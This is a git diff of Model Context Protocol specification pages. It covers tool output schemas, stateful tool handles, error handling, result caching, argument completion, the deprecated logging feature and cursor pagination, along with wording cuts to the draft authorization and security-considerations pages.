+ "type": "object",
+ "properties": {
+ "temperature": {
+ "type": "number",
+ "description": "Temperature in celsius"
+ },
+ "conditions": {
+ "type": "string",
+ "description": "Weather conditions description"
+ },
+ "humidity": {
+ "type": "number",
+ "description": "Humidity percentage"
+ }
+ },
+ "required": ["temperature", "conditions", "humidity"]
+ }
+}
+```
+
+Example valid response for this tool:
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 5,
+ "result": {
+ "resultType": "complete",
+ "content": [
+ {
+ "type": "text",
+ "text": "{\"temperature\": 22.5, \"conditions\": \"Partly cloudy\", \"humidity\": 65}"
+ }
+ ],
+ "structuredContent": {
+ "temperature": 22.5,
+ "conditions": "Partly cloudy",
+ "humidity": 65
+ }
+ }
+}
+```
+
+Example tool with array output schema:
+
+```json theme={null}
+{
+ "name": "list_users",
+ "title": "User List",
+ "description": "Returns a list of all users",
+ "inputSchema": {
+ "type": "object",
+ "properties": {}
+ },
+ "outputSchema": {
+ "type": "array",
+ "items": {
+ "type": "object",
+ "properties": {
+ "id": { "type": "string" },
+ "name": { "type": "string" },
+ "email": { "type": "string" }
+ },
+ "required": ["id", "name", "email"]
+ }
+ }
+}
+```
+
+Example valid response for a tool with array output:
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 6,
+ "result": {
+ "resultType": "complete",
+ "content": [
+ {
+ "type": "text",
+ "text": "Found 2 users: Alice (alice@example.com) and Bob (bob@example.com)."
+ }
+ ],
+ "structuredContent": [
+ { "id": "1", "name": "Alice", "email": "alice@example.com" },
+ { "id": "2", "name": "Bob", "email": "bob@example.com" }
+ ]
+ }
+}
+```
+
+Providing an output schema helps clients and LLMs understand and properly handle structured tool outputs by:
+
+* Enabling strict schema validation of responses
+* Providing type information for better integration with programming languages
+* Guiding clients and LLMs to properly parse and utilize the returned data
+* Supporting better documentation and developer experience
+
+### Schema Examples
+
+#### Tool with default 2020-12 schema:
+
+```json theme={null}
+{
+ "name": "calculate_sum",
+ "description": "Add two numbers",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "a": { "type": "number" },
+ "b": { "type": "number" }
+ },
+ "required": ["a", "b"]
+ }
+}
+```
+
+#### Tool with explicit draft-07 schema:
+
+```json theme={null}
+{
+ "name": "calculate_sum",
+ "description": "Add two numbers",
+ "inputSchema": {
+ "$schema": "http://json-schema.org/draft-07/schema#",
+ "type": "object",
+ "properties": {
+ "a": { "type": "number" },
+ "b": { "type": "number" }
+ },
+ "required": ["a", "b"]
+ }
+}
+```
+
+#### Tool with no parameters:
+
+```json theme={null}
+{
+ "name": "get_current_time",
+ "description": "Returns the current server time",
+ "inputSchema": {
+ "type": "object",
+ "additionalProperties": false
+ }
+}
+```
+
+## Stateful Tools
+
+
+ This section is non-normative guidance for tool design. The protocol has no
+ concept of a state handle; from the wire's perspective a handle is an ordinary
+ string in a tool result and an ordinary argument to subsequent tool calls.
+
+
+MCP has no protocol-level session, so a server cannot rely on implicit
+per-connection state to relate one tool call to the next. Servers that need to
+maintain state across calls — a shopping cart, an open browser context, a
+database transaction — should do so by returning an explicit handle from a
+creation tool and accepting that handle as an argument on subsequent calls.
+
+For example, a server that manages a shopping cart might expose:
+
+```jsonc theme={null}
+// → tools/call
+{ "name": "create_basket", "arguments": {} }
+
+// ← result
+{
+ "content": [{ "type": "text", "text": "Created basket bsk_a1b2c3" }],
+ "structuredContent": { "basket_id": "bsk_a1b2c3" }
+}
+
+// → tools/call
+{
+ "name": "add_item",
+ "arguments": { "basket_id": "bsk_a1b2c3", "sku": "..." }
+}
+```
+
+The model is responsible for carrying `basket_id` forward; the server stores
+the cart contents under that key and looks them up on each call.
+
+When designing handles, servers should consider:
+
+* **Authorization.** For authenticated servers, a handle is a name, not a
+ capability. The server should validate the caller's authorization against the
+ handle on every call. For unauthenticated servers, where the handle is
+ necessarily a bearer token, it should be generated with sufficient entropy
+ (e.g., a UUIDv4) and given a bounded lifetime.
+* **Opacity.** Handles that encode internal structure invite parsing or
+ guessing; opaque identifiers do not.
+* **Lifetime.** Because handles outlive any single connection, the server's
+ retention policy should be stated in the creation tool's description (e.g.,
+ "baskets expire after 24 hours of inactivity") so the model can see it when
+ deciding to create state.
+* **Expiry errors.** A call against an expired or unknown handle should return
+ a tool execution error that says so, so the model can recover by creating a
+ new one.
+
+## Error Handling
+
+Tools use two error reporting mechanisms:
+
+1. **Protocol Errors** indicate issues with the request structure itself that models are less likely to be able to fix:
+
+ * Unknown tool
+ * Malformed requests (requests that fail to satisfy [CallToolRequest schema](/specification/2026-07-28/schema#calltoolrequest))
+ * Server errors
+
+ They are returned as standard JSON-RPC errors:
+
+ ```json theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 3,
+ "error": {
+ "code": -32602,
+ "message": "Unknown tool: invalid_tool_name"
+ }
+ }
+ ```
+
+2. **Tool Execution Errors** contain actionable feedback that language models can use to self-correct and retry with adjusted parameters:
+
+ * API failures
+ * Input validation errors (e.g., date in wrong format, value out of range)
+ * Business logic errors
+
+ They are reported in tool results with `isError: true`:
+
+ ```json theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 4,
+ "result": {
+ "resultType": "complete",
+ "content": [
+ {
+ "type": "text",
+ "text": "Invalid departure date: must be in the future. Current date is 08/08/2025."
+ }
+ ],
+ "isError": true
+ }
+ }
+ ```
+
+Clients **MAY** provide protocol errors to language models, though these are less likely to result in successful recovery.
+Clients **SHOULD** provide tool execution errors to language models to enable self-correction.
+
+## Security Considerations
+
+1. Servers **MUST**:
+ * Validate all tool inputs
+ * Implement proper access controls
+ * Rate limit tool invocations
+ * Sanitize tool outputs
+
+2. Clients **SHOULD**:
+ * Prompt for user confirmation on sensitive operations
+ * Show tool inputs to the user before calling the server, to avoid malicious or
+ accidental data exfiltration
+ * Validate tool results before passing to LLM
+ * Follow the [`$ref` resolution requirements](/specification/2026-07-28/basic/index#ref-resolution)
+ when validating tool inputs and outputs against `inputSchema` and `outputSchema`
+ * Implement timeouts for tool calls
+ * Log tool usage for audit purposes
diff --git a/content/mcp/specification/2026-07-28/server/utilities/caching.md b/content/mcp/specification/2026-07-28/server/utilities/caching.md
new file mode 100644
index 000000000..531838aa2
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/server/utilities/caching.md
@@ -0,0 +1,181 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Caching
+
+
+
+The Model Context Protocol (MCP) supports caching for some results. This allows clients to cache responses and reduce unnecessary re-fetching.
+Caching is complementary to [change notifications](#interaction-with-notifications)—both
+mechanisms can coexist.
+
+## Cacheable Results
+
+Servers MUST include caching hints on results with `resultType: "complete"` returned by
+the following operations:
+
+* `server/discover`
+* `tools/list`
+* `prompts/list`
+* `resources/list`
+* `resources/templates/list`
+* `resources/read`
+
+Interim results with `resultType: "input_required"` (see
+[multi round-trip requests](/specification/2026-07-28/basic/patterns/mrtr)) are not cacheable
+and carry no caching hints.
+
+## Cache Key
+
+A cached response is identified by the request method together with the request
+parameters that affect the result (for example, the `uri` for `resources/read`, or the
+`cursor` for paginated list requests). Clients **MUST NOT** serve a cached response for
+a request whose method or parameters differ from the request that produced it.
+
+Results produced by retrying a request through the
+[multi round-trip requests](/specification/2026-07-28/basic/patterns/mrtr) mechanism—that
+is, requests carrying `inputResponses` or `requestState`—**MUST NOT** be cached,
+as they depend on inputs that are not part of the cache key.
+
+## Cacheable Model
+
+Cacheable Results in MCP use two fields to provide caching hints to clients:
+
+* The Time-to-live (TTL) Field,`ttlMs`, is an integer value in milliseconds specifying how long the client MAY consider the result fresh.
+* The Cache Scope Field,`cacheScope`, indicates the intended scope of the cached response, either `"public"` or `"private"`.
+
+### Time-to-Live (TTL) Field
+
+The `ttlMs` field is a hint from the server indicating how long, in
+milliseconds, the client MAY consider the result fresh. Semantics are
+analogous to HTTP `Cache-Control: max-age`.
+
+* If `ttlMs` is `0`, the response **SHOULD** be considered immediately stale. The client
+ MAY re-fetch every time the result is needed.
+* If `ttlMs` is positive, the client **SHOULD** consider the result fresh for that many
+ milliseconds after receiving the response.
+* If `ttlMs` is absent, clients **SHOULD** assume a default of `0` (immediately stale)
+ and rely on their own caching heuristics or notifications. This should only occur in older server versions.
+* If `ttlMs` is negative, clients **SHOULD** ignore it and treat it as `0`.
+
+Servers **MUST** provide a `ttlMs` value that is `>= 0`.
+
+
+ TTL is a **freshness hint**, not a guarantee. Servers MAY change the
+ underlying data before the TTL expires. The TTL tells the client how long it
+ can reasonably avoid re-fetching, not how long the data is guaranteed to
+ remain unchanged.
+
+
+#### Freshness Calculation
+
+A client records the local time at which the response was received (`t_received`). The
+response is considered **fresh** while:
+
+```
+now < t_received + ttlMs
+```
+
+Once the TTL expires, the response is **stale** and the client **SHOULD** re-fetch on
+next access.
+
+Clients **SHOULD NOT** treat TTL as a polling interval that triggers automatic background
+refetches. The TTL is a freshness hint: the client checks freshness when it needs the
+data, and re-fetches only if stale. Implementations that do choose to poll **MUST**
+apply jitter and backoff.
+
+Clients **MAY** re-fetch before the TTL expires if they have reason to believe the data
+has changed (e.g., receiving an unexpected error on a tool call indicating the method was
+not found or the parameters were invalid).
+
+Clients **MAY** serve stale responses if errors occur during re-fetching (e.g., network
+issues, server downtime).
+
+### Cache Scope Field
+
+The `cacheScope` field controls who may cache a response, analogous to HTTP
+`Cache-Control: public` vs `Cache-Control: private`.
+
+| Value | Meaning |
+| ----------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `"public"` | The response does not contain user-specific data. Any client, shared gateway, or caching proxy **MAY** store and serve the cached response to any user. |
+| `"private"` | The response contains private data that is not meant to be shared between callers. Cached responses **MAY** be reused for the same authorization context. Caches **MUST NOT** be shared across authorization contexts (e.g. a different access token requires a different cache). |
+
+#### Choosing a Cache Scope
+
+* **`"public"`** is appropriate for lists of tools, prompts, and resource templates when
+ they are identical for all users.
+* **`"private"`** is appropriate for `resources/read` results that depend on the
+ authenticated user, or for filtered list results that vary per user.
+
+## Interaction with Notifications
+
+TTL and server-push notifications are complementary:
+
+* A server **MAY** provide `ttlMs` without advertising `listChanged: true` in its
+ capabilities. In this case, the client relies entirely on TTL-based freshness.
+* A server **MAY** advertise `listChanged: true` **and** provide `ttlMs`. In this case,
+ the client can use the TTL to avoid unnecessary refetches between notifications, and
+ the notification acts as an immediate invalidation signal.
+
+When a relevant notification is received while a cached response is still fresh, the
+notification **invalidates** the cached response and it should be considered immediately stale.
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client
+ participant Server
+
+ Client->>Server: tools/list
+ Server-->>Client: { tools: [...], ttlMs: 300000 }
+ Note over Client: Cache response, fresh for 5 min
+
+ Note over Client: 2 minutes later...
+ Client->>Client: Need tools list → cache still fresh, use cached
+
+ Note over Client: 3 minutes later (TTL expired)...
+ Client->>Client: Need tools list → cache stale
+ Client->>Server: tools/list
+ Server-->>Client: { tools: [...], ttlMs: 300000 }
+
+ Note over Server: Tools change before TTL expires
+ Server-->>Client: notifications/tools/list_changed
+ Note over Client: Invalidate cache immediately
+ Client->>Server: tools/list
+ Server-->>Client: { tools: [...], ttlMs: 300000 }
+```
+
+## Interaction with Pagination
+
+When a list result is [paginated](/specification/2026-07-28/server/utilities/pagination), each
+page is an independently cacheable response—consistent with how HTTP
+`Cache-Control` treats paginated resources.
+
+* Each page response carries its own `ttlMs` value. The freshness clock for each page
+ starts at the time that page was received.
+* Servers **MAY** return different `ttlMs` values on different pages (e.g., a longer TTL
+ for early pages of a stable list, a shorter TTL for the final page).
+* When a cached page expires, the client **SHOULD** re-fetch that page using its cursor.
+* There is no cross-page consistency guarantee. If the underlying data changes between
+ page fetches, clients may observe duplicates or gaps.
+* Clients that require a consistent snapshot of the full list **SHOULD** re-fetch from
+ the beginning (without a cursor).
+* If a cursor becomes invalid (e.g., the server returns an error for a previously valid
+ cursor), the client **SHOULD** discard all cached pages and re-fetch from the
+ beginning.
+
+Servers **MUST** apply the same `cacheScope` to all response pages for a given list
+request. For example, if the first page of a `tools/list` response has
+`cacheScope: "private"`, all subsequent pages for that request **MUST** also be
+`"private"`.
+
+## Security Considerations
+
+A `cacheScope` of `"public"` indicates that the response does not contain user-specific data and can be safely shared. Servers MUST be aware that responses with a `"public"` `cacheScope` may be shared between callers even if the Result is coming from an authenticated endpoint. For example, the Result from an authenticated `tools/list` call with a `"public"` `cacheScope` may be cached by a client and may be shared outside of the initial requests authorization context. (i.e. different access tokens can leverage the same cache).
+
+Server implementors:
+
+* should ensure that the `cacheScope` correctly reflects the intended visibility of the primitive.
+* MUST apply appropriate per-primitive access controls, and MUST NOT rely on
+ `cacheScope` alone to prevent unauthorized access to primitives.
diff --git a/content/mcp/specification/2026-07-28/server/utilities/completion.md b/content/mcp/specification/2026-07-28/server/utilities/completion.md
new file mode 100644
index 000000000..ae8887507
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/server/utilities/completion.md
@@ -0,0 +1,216 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Completion
+
+
+
+The Model Context Protocol (MCP) provides a standardized way for servers to offer
+autocompletion suggestions for the arguments of prompts and resource templates. When
+users are filling in argument values for a specific prompt (identified by name) or
+resource template (identified by URI), servers can provide contextual suggestions.
+
+
+ For brevity, the request examples on this page omit the `_meta` request
+ metadata (`io.modelcontextprotocol/protocolVersion`,
+ `io.modelcontextprotocol/clientInfo`, and
+ `io.modelcontextprotocol/clientCapabilities`). Every request **MUST** include
+ the required `_meta` fields; see
+ [`_meta`](/specification/2026-07-28/basic/index#meta).
+
+
+## User Interaction Model
+
+Completion in MCP is designed to support interactive user experiences similar to IDE code
+completion.
+
+For example, applications may show completion suggestions in a dropdown or popup menu as
+users type, with the ability to filter and select from available options.
+
+However, implementations are free to expose completion through any interface pattern that
+suits their needs—the protocol itself does not mandate any specific user
+interaction model.
+
+## Capabilities
+
+Servers that support completions **MUST** declare the `completions` capability:
+
+```json theme={null}
+{
+ "capabilities": {
+ "completions": {}
+ }
+}
+```
+
+## Protocol Messages
+
+### Requesting Completions
+
+To get completion suggestions, clients send a `completion/complete` request specifying
+what is being completed through a reference type:
+
+**Request:**
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 1,
+ "method": "completion/complete",
+ "params": {
+ "ref": {
+ "type": "ref/prompt",
+ "name": "code_review"
+ },
+ "argument": {
+ "name": "language",
+ "value": "py"
+ }
+ }
+}
+```
+
+**Response:**
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 1,
+ "result": {
+ "resultType": "complete",
+ "completion": {
+ "values": ["python", "pytorch", "pyside"],
+ "total": 10,
+ "hasMore": true
+ }
+ }
+}
+```
+
+For prompts or URI templates with multiple arguments, clients should include previous completions in the `context.arguments` object to provide context for subsequent requests.
+
+**Request:**
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 1,
+ "method": "completion/complete",
+ "params": {
+ "ref": {
+ "type": "ref/prompt",
+ "name": "code_review"
+ },
+ "argument": {
+ "name": "framework",
+ "value": "fla"
+ },
+ "context": {
+ "arguments": {
+ "language": "python"
+ }
+ }
+ }
+}
+```
+
+**Response:**
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 1,
+ "result": {
+ "resultType": "complete",
+ "completion": {
+ "values": ["flask"],
+ "total": 1,
+ "hasMore": false
+ }
+ }
+}
+```
+
+### Reference Types
+
+The protocol supports two types of completion references:
+
+| Type | Description | Example |
+| -------------- | ----------------------------------------- | --------------------------------------------------- |
+| `ref/prompt` | References a prompt by name | `{"type": "ref/prompt", "name": "code_review"}` |
+| `ref/resource` | References a resource URI or URI template | `{"type": "ref/resource", "uri": "file:///{path}"}` |
+
+### Completion Results
+
+Servers return an array of completion values ranked by relevance, with:
+
+* Maximum 100 items per response
+* Optional total number of available matches
+* Boolean indicating if additional results exist
+
+## Message Flow
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client
+ participant Server
+
+ Note over Client: User types argument
+ Client->>Server: completion/complete
+ Server-->>Client: Completion suggestions
+
+ Note over Client: User continues typing
+ Client->>Server: completion/complete
+ Server-->>Client: Refined suggestions
+```
+
+## Data Types
+
+### CompleteRequest
+
+* `ref`: A `PromptReference` or `ResourceTemplateReference`. For
+ `ResourceTemplateReference`, `uri` is a URI or URI template.
+* `argument`: Object containing:
+ * `name`: Argument name
+ * `value`: Current value
+* `context`: Object containing:
+ * `arguments`: A mapping of already-resolved argument names to their values.
+
+### CompleteResult
+
+* `completion`: Object containing:
+ * `values`: Array of suggestions (max 100)
+ * `total`: Optional total matches
+ * `hasMore`: Additional results flag
+
+## Error Handling
+
+Servers **SHOULD** return standard JSON-RPC errors for common failure cases:
+
+* Method not found: `-32601` (Capability not supported)
+* Invalid prompt name: `-32602` (Invalid params)
+* Missing required arguments: `-32602` (Invalid params)
+* Internal errors: `-32603` (Internal error)
+
+## Implementation Considerations
+
+1. Servers **SHOULD**:
+ * Return suggestions sorted by relevance
+ * Implement fuzzy matching where appropriate
+ * Rate limit completion requests
+ * Validate all inputs
+
+2. Clients **SHOULD**:
+ * Debounce rapid completion requests
+ * Cache completion results where appropriate
+ * Handle missing or partial results gracefully
+
+## Security
+
+Implementations **MUST**:
+
+* Validate all completion inputs
+* Implement appropriate rate limiting
+* Control access to sensitive suggestions
+* Prevent completion-based information disclosure
diff --git a/content/mcp/specification/2026-07-28/server/utilities/logging.md b/content/mcp/specification/2026-07-28/server/utilities/logging.md
new file mode 100644
index 000000000..697aee02e
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/server/utilities/logging.md
@@ -0,0 +1,134 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Logging
+
+
+
+
+ **Deprecated**: The Logging feature is deprecated as of protocol version
+ `2026-07-28`
+ ([SEP-2577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2577)).
+ Under the [feature lifecycle policy](/community/feature-lifecycle), it remains
+ in the specification for at least twelve months after this revision's release
+ before it becomes eligible for removal. New implementations **SHOULD NOT**
+ adopt it; existing implementations **SHOULD** migrate to logging to `stderr`
+ for stdio transports, or to [OpenTelemetry](https://opentelemetry.io/) for
+ structured observability. See the [deprecated features
+ registry](/specification/2026-07-28/deprecated).
+
+
+The Model Context Protocol (MCP) provides a standardized way for servers to send
+structured log messages to clients. Clients control logging verbosity per-request via
+`_meta`, with servers sending notifications containing severity levels, optional logger
+names, and arbitrary JSON-serializable data.
+
+## User Interaction Model
+
+Implementations are free to expose logging through any interface pattern that suits their
+needs—the protocol itself does not mandate any specific user interaction model.
+
+## Capabilities
+
+Servers that emit log message notifications **MUST** declare the `logging` capability:
+
+```json theme={null}
+{
+ "capabilities": {
+ "logging": {}
+ }
+}
+```
+
+## Log Levels
+
+The protocol follows the standard syslog severity levels specified in
+[RFC 5424](https://datatracker.ietf.org/doc/html/rfc5424#section-6.2.1):
+
+| Level | Description | Example Use Case |
+| --------- | -------------------------------- | -------------------------- |
+| debug | Detailed debugging information | Function entry/exit points |
+| info | General informational messages | Operation progress updates |
+| notice | Normal but significant events | Configuration changes |
+| warning | Warning conditions | Deprecated feature usage |
+| error | Error conditions | Operation failures |
+| critical | Critical conditions | System component failures |
+| alert | Action must be taken immediately | Data corruption detected |
+| emergency | System is unusable | Complete system failure |
+
+## Requesting Log Messages
+
+### Per-request log level
+
+To receive log messages for a specific request, include
+`io.modelcontextprotocol/logLevel` in the request's `_meta`. The server **MUST NOT**
+emit `notifications/message` for a request that does not include this field.
+
+When the field is present, the server **MAY** send `notifications/message`
+notifications at or above the requested level on the response stream of that
+request, before the final response. `notifications/message` is request-scoped:
+the server **MUST NOT** deliver it on a
+[`subscriptions/listen`](/specification/2026-07-28/basic/patterns/subscriptions)
+stream or on any stream other than the one carrying the response to the request
+that set the log level.
+
+## Protocol Messages
+
+### Log Message Notifications
+
+Servers send log messages using `notifications/message` notifications:
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "method": "notifications/message",
+ "params": {
+ "level": "error",
+ "logger": "database",
+ "data": {
+ "error": "Connection failed",
+ "details": {
+ "host": "localhost",
+ "port": 5432
+ }
+ }
+ }
+}
+```
+
+## Error Handling
+
+If the `io.modelcontextprotocol/logLevel` value carried in a request's `_meta`
+is not a recognized [log level](#log-levels), the server **SHOULD** reject that
+request with a standard JSON-RPC error:
+
+* Invalid log level: `-32602` (Invalid params)
+* Internal errors: `-32603` (Internal error)
+
+## Implementation Considerations
+
+1. Servers **SHOULD**:
+ * Rate limit log messages
+ * Include relevant context in data field
+ * Use consistent logger names
+ * Remove sensitive information
+
+2. Clients **MAY**:
+ * Present log messages in the UI
+ * Implement log filtering/search
+ * Display severity visually
+ * Persist log messages
+
+## Security
+
+1. Log messages **MUST NOT** contain:
+ * Credentials or secrets
+ * Personal identifying information
+ * Internal system details that could aid attacks
+
+2. Implementations **SHOULD**:
+ * Rate limit messages
+ * Validate all data fields
+ * Control log access
+ * Monitor for sensitive content
diff --git a/content/mcp/specification/2026-07-28/server/utilities/pagination.md b/content/mcp/specification/2026-07-28/server/utilities/pagination.md
new file mode 100644
index 000000000..5b586c5f5
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/server/utilities/pagination.md
@@ -0,0 +1,113 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Pagination
+
+
+
+The Model Context Protocol (MCP) supports paginating list operations that may return
+large result sets. Pagination allows servers to yield results in smaller chunks rather
+than all at once.
+
+Pagination is especially important when connecting to external services over the
+internet, but also useful for local integrations to avoid performance issues with large
+data sets.
+
+
+ For brevity, the request examples on this page omit the `_meta` request
+ metadata (`io.modelcontextprotocol/protocolVersion`,
+ `io.modelcontextprotocol/clientInfo`, and
+ `io.modelcontextprotocol/clientCapabilities`). Every request **MUST** include
+ the required `_meta` fields; see
+ [`_meta`](/specification/2026-07-28/basic/index#meta).
+
+
+## Pagination Model
+
+Pagination in MCP uses an opaque cursor-based approach, instead of numbered pages.
+
+* The **cursor** is an opaque string token, representing a position in the result set
+* **Page size** is determined by the server, and clients **MUST NOT** assume a fixed page
+ size
+
+## Response Format
+
+Pagination starts when the server sends a **response** that includes:
+
+* The current page of results
+* An optional `nextCursor` field if more results exist
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": "123",
+ "result": {
+ "resultType": "complete",
+ "resources": [...],
+ "nextCursor": "eyJwYWdlIjogM30=",
+ "ttlMs": 300000,
+ "cacheScope": "public"
+ }
+}
+```
+
+## Request Format
+
+After receiving a cursor, the client can *continue* paginating by issuing a request
+including that cursor:
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": "124",
+ "method": "resources/list",
+ "params": {
+ "cursor": "eyJwYWdlIjogMn0="
+ }
+}
+```
+
+## Pagination Flow
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client
+ participant Server
+
+ Client->>Server: List Request (no cursor)
+ loop Pagination Loop
+ Server-->>Client: Page of results + nextCursor
+ Client->>Server: List Request (with cursor)
+ end
+```
+
+## Operations Supporting Pagination
+
+The following MCP operations support pagination:
+
+* `resources/list` - List available resources
+* `resources/templates/list` - List resource templates
+* `prompts/list` - List available prompts
+* `tools/list` - List available tools
+
+## Implementation Guidelines
+
+1. Servers **SHOULD**:
+ * Provide stable cursors
+ * Handle invalid cursors gracefully
+
+2. Clients **SHOULD**:
+ * Treat a missing `nextCursor` as the end of results
+ * Support both paginated and non-paginated flows
+
+3. Clients **MUST** treat cursors as opaque tokens:
+ * Don't make assumptions about cursor format
+ * Don't attempt to parse or modify cursors
+ * Don't make any determination based on cursor value other than whether a
+ non-null value was provided (e.g. an empty string is a valid cursor and
+ thus **MUST NOT** be treated as the end of results)
+
+## Error Handling
+
+Invalid cursors **SHOULD** result in an error with code -32602 (Invalid params).
diff --git a/content/mcp/specification/draft/basic.md b/content/mcp/specification/draft/basic.md
index 00c55040a..fef9d1289 100644
--- a/content/mcp/specification/draft/basic.md
+++ b/content/mcp/specification/draft/basic.md
@@ -217,7 +217,7 @@ Their state is scoped to the request itself, not to the connection underneath.
For a walkthrough of how the per-request model maps to SDK code, see the
- [Architecture guide](/docs/learn/architecture#example).
+ [Architecture guide](/docs/draft/learn/architecture#example).
## Auth
diff --git a/content/mcp/specification/draft/basic/authorization.md b/content/mcp/specification/draft/basic/authorization.md
index 96a004df1..05876bd97 100644
--- a/content/mcp/specification/draft/basic/authorization.md
+++ b/content/mcp/specification/draft/basic/authorization.md
@@ -130,11 +130,8 @@ only the scopes necessary for their intended operations. During the initial auth
1. **Use `scope` parameter** from the initial `WWW-Authenticate` header in the 401 response, if provided
2. **If `scope` is not available**, use all scopes defined in `scopes_supported` from the Protected Resource Metadata document, omitting the `scope` parameter if `scopes_supported` is undefined.
-This approach accommodates the general-purpose nature of MCP clients, which typically lack domain-specific knowledge to make informed decisions about individual scope selection. Requesting all available scopes allows the authorization server and end-user to determine appropriate permissions during the consent process.
-
-This approach minimizes user friction while following the principle of least privilege.
The `scopes_supported` field is intended to represent the minimal set of scopes necessary
-for basic functionality (see [Scope Minimization](/docs/tutorials/security/security_best_practices#scope-minimization)),
+for basic functionality (see [Scope Minimization](/docs/draft/tutorials/security/security_best_practices#scope-minimization)),
with additional scopes requested incrementally through the step-up authorization flow steps
described in the [Scope Challenge Handling](#scope-challenge-handling) section.
@@ -354,20 +351,7 @@ The `scope` attribute describes the scopes necessary to access
the requested resource — servers are not required to include
the client's previously granted scopes.
-Servers have flexibility in determining which scopes to include:
-
-* **Minimum approach**: Include only the scopes required for the
- specific operation that triggered the error.
-* **Recommended approach**: Include the scopes required for the
- current operation along with related scopes that commonly work
- together, to reduce the number of step-up authorization rounds.
-* **Extended approach**: Include the scopes required for the
- current operation, related scopes, and any other scopes the
- server anticipates the client may need in the near future.
-
-The choice depends on the server's assessment of user experience impact and authorization friction.
-
-Regardless of the approach chosen, servers **SHOULD** include all
+Whatever scope-inclusion strategy a server adopts, servers **SHOULD** include all
scopes required for the current operation in a single challenge.
Challenging incrementally (returning one missing scope, then another
on the subsequent retry) forces multiple authorization round-trips
@@ -381,14 +365,8 @@ Servers **SHOULD** be consistent in their scope inclusion strategy to provide pr
Servers **SHOULD** consider the user experience impact when determining which scopes to include in the
response, as misconfigured scopes may require frequent user interaction.
-
- Scope accumulation across operations is a client-side responsibility. Clients
- **SHOULD** compute the union of previously requested scopes and newly
- challenged scopes when initiating re-authorization, as described in [Step-Up
- Authorization Flow](#step-up-authorization-flow). This allows servers to
- remain stateless with respect to client scope sets while ensuring clients do
- not lose previously granted permissions.
-
+Scope accumulation across operations is a client-side responsibility. See the
+[Step-Up Authorization Flow](#step-up-authorization-flow) for the scope-union requirement.
Example insufficient scope response:
@@ -425,18 +403,8 @@ The flow is as follows:
Clients **SHOULD** implement retry limits and **SHOULD** track scope upgrade attempts to avoid
repeated failures for the same resource and operation combination.
-
- **Hierarchical scopes**: Some authorization servers define scope hierarchies
- where a broader scope implies narrower ones (for example, an `admin` scope
- that subsumes `read`). When accumulating scopes, the client's union may
- contain semantically redundant entries — for example, a token previously
- granted a broad scope may be challenged with a narrower one it already
- implies. Clients need not deduplicate hierarchically; authorization servers
- typically normalize such redundancy during token issuance. Servers, for their
- part, must account for hierarchy when deciding whether a token is sufficient
- for an operation, but this does not affect the scopes they emit in a
- challenge.
-
+Servers **MUST** account for scope hierarchies, where a broader scope implies narrower ones, when
+deciding whether a token is sufficient for an operation.
## Security Considerations
diff --git a/content/mcp/specification/draft/basic/authorization/security-considerations.md b/content/mcp/specification/draft/basic/authorization/security-considerations.md
index 0ee263dc5..6bcf5e285 100644
--- a/content/mcp/specification/draft/basic/authorization/security-considerations.md
+++ b/content/mcp/specification/draft/basic/authorization/security-considerations.md
@@ -20,7 +20,7 @@ audiences **when the Authorization Server supports the capability**. To enable c
* MCP clients **MUST** include the `resource` parameter in authorization and token requests as specified in the [Resource Parameter Implementation](/specification/draft/basic/authorization#resource-parameter-implementation) section
* MCP servers **MUST** validate that tokens presented to them were specifically issued for their use
-The [Security Best Practices document](/docs/tutorials/security/security_best_practices#token-passthrough)
+The [Security Best Practices document](/docs/draft/tutorials/security/security_best_practices#token-passthrough)
outlines why token audience validation is crucial and why token passthrough is explicitly forbidden.
## Token Theft
@@ -63,9 +63,7 @@ Authorization servers providing OpenID Connect Discovery 1.0 **MUST** include `c
## Mix-Up Attacks
-An MCP client typically interacts with many authorization servers over its lifetime. An attacker that controls one of those authorization servers may attempt to have the client send it an authorization code or token issued by a different, honest authorization server (a mix-up attack, described in [RFC9207 Section 1](https://datatracker.ietf.org/doc/html/rfc9207#section-1)).
-
-[Authorization Response Validation](/specification/draft/basic/authorization#authorization-response-validation) mitigates this by binding the response to the authorization server the client recorded before redirecting, so the authorization code cannot be redeemed at an unintended token endpoint. PKCE alone does not prevent this attack because the client transmits the `code_verifier` to the attacker's token endpoint. Resource indicators do not help when the attacker's authorization server is intercepting requests before they hit the honest authorization server. This mitigation depends on honest authorization servers emitting `iss`; it provides no protection against an honest server that does not.
+An attacker that controls one of the authorization servers an MCP client interacts with may attempt to have the client send it an authorization code or token issued by a different, honest authorization server (a mix-up attack, described in [RFC9207 Section 1](https://datatracker.ietf.org/doc/html/rfc9207#section-1)). [Authorization Response Validation](/specification/draft/basic/authorization#authorization-response-validation) specifies the required mitigation.
## Open Redirection
@@ -90,22 +88,12 @@ Key considerations include:
### Authorization Server Abuse Protection
